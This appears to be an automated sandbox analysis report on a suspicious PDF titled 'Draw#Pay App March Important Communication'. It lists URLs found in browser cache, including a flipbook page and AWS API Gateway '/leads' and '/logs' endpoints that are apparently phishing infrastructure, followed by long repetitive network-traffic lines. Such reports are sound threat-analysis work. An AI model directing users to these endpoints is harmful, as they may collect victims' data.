Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/fonts/lato/v23/S6uyw4BMUTPHjxAwXiWtFC
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/APP.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/Helper.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/Layout.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/Logs.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/VideoEmbed.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/hotspots/Gallery.js?v=1748
Source: chromecache_243.1.dr	String found in binary or memory: https://dkl18tmi4r0t8.cloudfront.net/flipbook/202503/02/assets/scripts/page-flip-hard.browser.js?v=1
Source: chromecache_177.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_243.1.dr	String found in binary or memory: https://mbx7b28fh6.execute-api.us-east-2.amazonaws.com/leads
Source: chromecache_243.1.dr	String found in binary or memory: https://p6aqvvqp5i.execute-api.us-east-2.amazonaws.com/images/share/831678/1829815
Source: chromecache_243.1.dr	String found in binary or memory: https://publuu.com
Source: chromecache_243.1.dr	String found in binary or memory: https://publuu.com/flip-book/
Source: chromecache_243.1.dr	String found in binary or memory: https://publuu.com/flip-book/831678/1829815
Source: chromecache_243.1.dr	String found in binary or memory: https://publuu.com/flip-book/831678/1829815/page/1
Source: chromecache_243.1.dr	String found in binary or memory: https://publuu.com/flip-book/assets/fonts/lato/v23/S6u9w4BMUTPHh7USSwaPGQ3q5d0N7w.woff2)
Source: chromecache_245.1.dr	String found in binary or memory: https://publuu.com/online-digital-brochure-maker/
Source: chromecache_245.1.dr	String found in binary or memory: https://twitter.com/
Source: chromecache_243.1.dr	String found in binary or memory: https://utty56o2qi.execute-api.us-east-2.amazonaws.com/logs
Source: 927e3f7f-6486-4fd5-966d-130879902320.tmp.0.dr, Draw#Pay App March Important Communication.pdf.crdownload.0.dr, chromecache_184.1.dr	String found in binary or memory: https://www.dynaforms.com
Source: chromecache_245.1.dr	String found in binary or memory: https://www.linkedin.com/company/51717908
Source: chromecache_180.1.dr	String found in binary or memory: https://www.rakuten.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
